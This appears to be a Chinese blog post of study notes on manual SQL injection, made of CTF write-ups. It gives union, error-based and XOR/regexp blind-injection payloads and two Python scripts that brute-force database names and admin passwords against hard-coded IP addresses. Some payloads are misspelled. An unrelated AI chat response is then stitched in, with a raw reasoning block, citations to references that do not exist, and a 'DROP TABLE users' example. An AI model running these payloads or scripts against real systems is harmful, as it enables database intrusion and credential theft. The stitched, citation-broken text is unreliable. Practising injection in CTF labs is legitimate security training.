SQL注入学习

SQL 注入

在晓得CTF已经有7个月了。。sql注入题都是sqlmap一把梭(一直咕咕咕,太羞耻了,终于要学一下手工注入了

普通手工简单注入大致流程

  1. 判断注入点,fuzz过滤
  2. 判断字段数
  3. 获取基本信息(数据库名称,表名,字段名)
0x01 bugku-成绩单

发现1'#正常返回,啥也没过滤,直接爆字段数,数据库名,表名,字段名

1' order by 4#		//获取字段数
5' union select database(),user(),version(),version()#		//获取数据库名称 skctf_flag
5' union select table_name,table_name,table_name,table_name from information_schema.tables where table_schema='skctf_flag'#		//获取表名	fl4g
5' union select column_name,column_name,column_name,column_name from information_schema.columns where table_name='fl4g'#	//获取字段名  skctf_flag
5' union select skctf_flag,skctf_flag,skctf_flag,skctf_flag from fl4g#		//获取内容

得到flag

0x02 这是一个神奇的神奇的登录框

1"发现有mysql报错,刚刚好看了利用报错注入(用普通注入也可以的

  1. 使用updatexml报错注入
1" and updatexml(1,concat(0x7e,database()),0)#		//数据库名称:bugkusql1
1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0)#		//表名:flag1
1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag1' limit 0,1)),0)#		//字段名:flag1
1" and updatexml(1,concat(0x7e,(select flag1 from flag1 )),0)#		//ed6b28e684817d9efcaf802979e57ae

//使用extractvalue()报错
poload:1" and extractvalue(0,concat(0x7e,version()))#
//使用floor()报错
pyload:1" and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
使用floor()报错注意最后会多出来一个1

盲注

常见盲注注入方式
异或(XOR)注入

payload:admin'^(ascii(mid(version()from(1)))>'1')^'1'='1'#
前面和后面语句都固定为真,只有中间不确定,整个payload的结果都由中间的结果决定

1^0^1 --> 0
1^1^1 --> 1

不需要and or (空格) ,
这里如果=被过滤还可以使用<>
如果过滤了注释符和%那就把最后一个单引号去掉^'1'='1

regexp注入

payload

order by盲注

payload

0x03 login3(SKCTF)

bp抓包,使用爆破模块fuzz一下过滤
在这里插入图片描述
发现^,<,>没被过滤,使用第一个异或盲注

import requests
url = 'http://123.206.31.85:49167/index.php'
str1 = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=()"
req = requests.Session()
def databases():
    database = ""
    for j in range(40):
        for i in str1:
            post = {
                "username":"admin'^(ascii(mid(database()from({})))<>{})^('1'<'2')#".format(str(j),ord(i)),
                "password":"123"
            }
            # print(post)
            text = req.post(url,data=post).content.decode('utf-8')
            if "username does not exist!" in text:
                database+=str(i)
                print(database)
                break
            #print(text)
    print(database)
def password():
    passwd = ""
    for j in range(40):
        for i in str1:
            post = {
                "username": "admin'^(ascii(mid((password)from({})))<>{})^('1'<'2')#".format(str(j), ord(i)),
                "password": "123"
            }
            # print(post)
            text = req.post(url, data=post).content.decode('utf-8')
            if "username does not exist!" in text:
                passwd += str(i)
                print(passwd)
                break
            # print(text)
    print(passwd)
password()

在fuzz时发现infomation被过滤不能得到表名和字段名
通过admin'^(select(1)from(admin))^1#这个payload来撞表名
猜字段用admin'^(select(count(password))from(admin))^1#来撞表名

得到admin的密码的md5()

0x04 sql注入2(bugku)

与上一题类似,比上一题多过滤了#
所以payload改为admin'^(ascii(mid(database()from({})))<>{})^'1'='1

import requests
url = 'http://123.206.87.240:8007/web2/login.php'
str1 = ".1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=()"
req = requests.Session()
def databases():
    database = ""
    for j in range(40):
        for i in str1:
            post = {
                "uname":"admin'^(ascii(mid(database()from({})))<>{})^'1'='1".format(str(j),ord(i)),
                "passwd":"123"
            }
            #print(post)
            text = req.post(url,data=post).content.decode('utf-8')
            #print(text)
            if "username error!!@_@" in text:
                database+=str(i)
                print(database)
                break
            #print(text)
    print(database)
def password():
    passwd = ""
    for j in range(40):
        for i in str1:
            post = {
                "uname": "admin'^(ascii(mid((passwd)from({})))<>{})^'1'='1".format(str(j), ord(i)),
                "passwd": "123"
            }
            # print(post)
            text = req.post(url, data=post).content.decode('utf-8')
            if "username error!!@_@" in text:
                passwd += str(i)
                print(passwd)
                break
            # print(text)
    print(passwd)

password

0' or (select database()regexp'{}{}$') or '1'='

0' or (select table_name from infomation.scheam.table where table.scheam='pikachu')regexp'a$'

0' or (select (select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1) regexp 'r$') 		//表名

0' or (select (select group_concat(column_name) from information_schema.columns where table_name='fiag' limit 1) regexp 'd$') or '1'='  	//字段名

0' or (select (select group_concat(fl$4g) from fiag limit 1) regexp 't$') or '1'='

得到admin的密码,打开输入ls

<think>嗯,用户想学习SQL注入的相关知识,特别是防护技巧和示例教程。首先,我需要整理一下现有的引用内容,看看有什么可以直接帮助他的地方。引用[1]提到了SQL注入的基础、盲注、Timing Attack、攻击技巧和防御方法,包括预编译语句和存储过程。引用[3]详细解释了PDO预处理如何防止注入,而引用[4]和[5]则提供了具体的代码示例,比如使用参数化查询。引用[2]可能是一个系统的学习资源,可以作为推荐。 用户需要学习路径,应该从基础开始,逐步深入。首先得了解什么是SQL注入,然后学习攻击类型,再掌握防护方法,最后通过示例巩固。防护部分要强调预编译和参数化查询,因为引用[3]、[4]、[5]都提到了这些方法,并且是有效的防御手段。同时,要指出常见的误区,比如引用[1]提到的存储过程不一定安全,需要正确使用。 可能还需要考虑用户的实际操作,提供代码示例会更好。例如,引用[4]的Python示例和引用[5]的PHP示例,展示如何正确使用参数化查询。此外,引用[3]中的PDO预处理说明可以作为另一个例子。要确保用户理解预处理语句的重要性,避免拼接SQL字符串。 另外,用户可能对如何检测注入点感兴趣,引用[1]提到了注入点检测,这部分可以简要介绍。还要推荐系统学习资源,比如引用[2]的教程,帮助用户全面学习SQL。最后,生成相关问题时要覆盖攻击类型、防御方法、预编译原理和应用场景,这样用户可以有进一步的学习方向。</think>### 如何系统学习SQL注入及防护技巧? #### 一、SQL注入基础知识 1. **核心原理** SQL注入是通过构造特殊输入参数,利用未严格校验的SQL语句拼接漏洞,使数据库执行非预期操作。例如:`SELECT * FROM users WHERE username = '${userInput}'`,若输入`admin' OR 1=1 -- `,会绕过认证[^1][^3]。 2. **攻击类型** - **盲注**:通过数据库响应差异推断信息(如布尔盲注、时间盲注) - **联合查询注入**:利用`UNION`拼接恶意查询 - **报错注入**:触发数据库错误回显敏感信息 - **Timing Attack**:通过延时函数判断条件真假[^1] --- #### 二、防护技巧与示例 1. **参数化查询(核心方法)** 使用预编译语句(Prepared Statements)将输入数据与SQL逻辑分离: ```python # Python示例(引用[4]) cursor.execute("SELECT * FROM user WHERE name = %s", (user_input,)) ``` ```php // PHP示例(引用[5]) $stmt = $conn->prepare("SELECT * FROM users WHERE username = ?"); $stmt->bind_param("s", $userInput); ``` 2. **防御误区** - 存储过程仍需参数化,否则仍可能被注入 - 仅过滤特殊字符(如单引号)不彻底,存在绕过风险[^3] 3. **深度防护** - **最小权限原则**:数据库账户仅授予必要权限 - **输入校验**:白名单验证数据类型(如数字、固定格式) - **日志监控**:记录异常SQL请求 --- #### 三、实战学习路径 1. **实验环境搭建** 使用DVWA(Damn Vulnerable Web Application)或SQLi Labs练习注入技巧。 2. **案例解析** ```sql -- 经典注入示例 SELECT * FROM products WHERE id = 1; DROP TABLE users-- ``` 防护后: ```python # 使用参数化查询避免(引用[3][^4]) cursor.execute("SELECT * FROM products WHERE id = ?", (product_id,)) ``` --- #### 四、推荐学习资源 1. 系统教程:《跟老吕学SQL》专栏(引用[2]) 2. 漏洞复现:OWASP SQL注入实验手册 3. 进阶内容:数据库引擎安全机制(如MySQL的`sql_mode`) ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值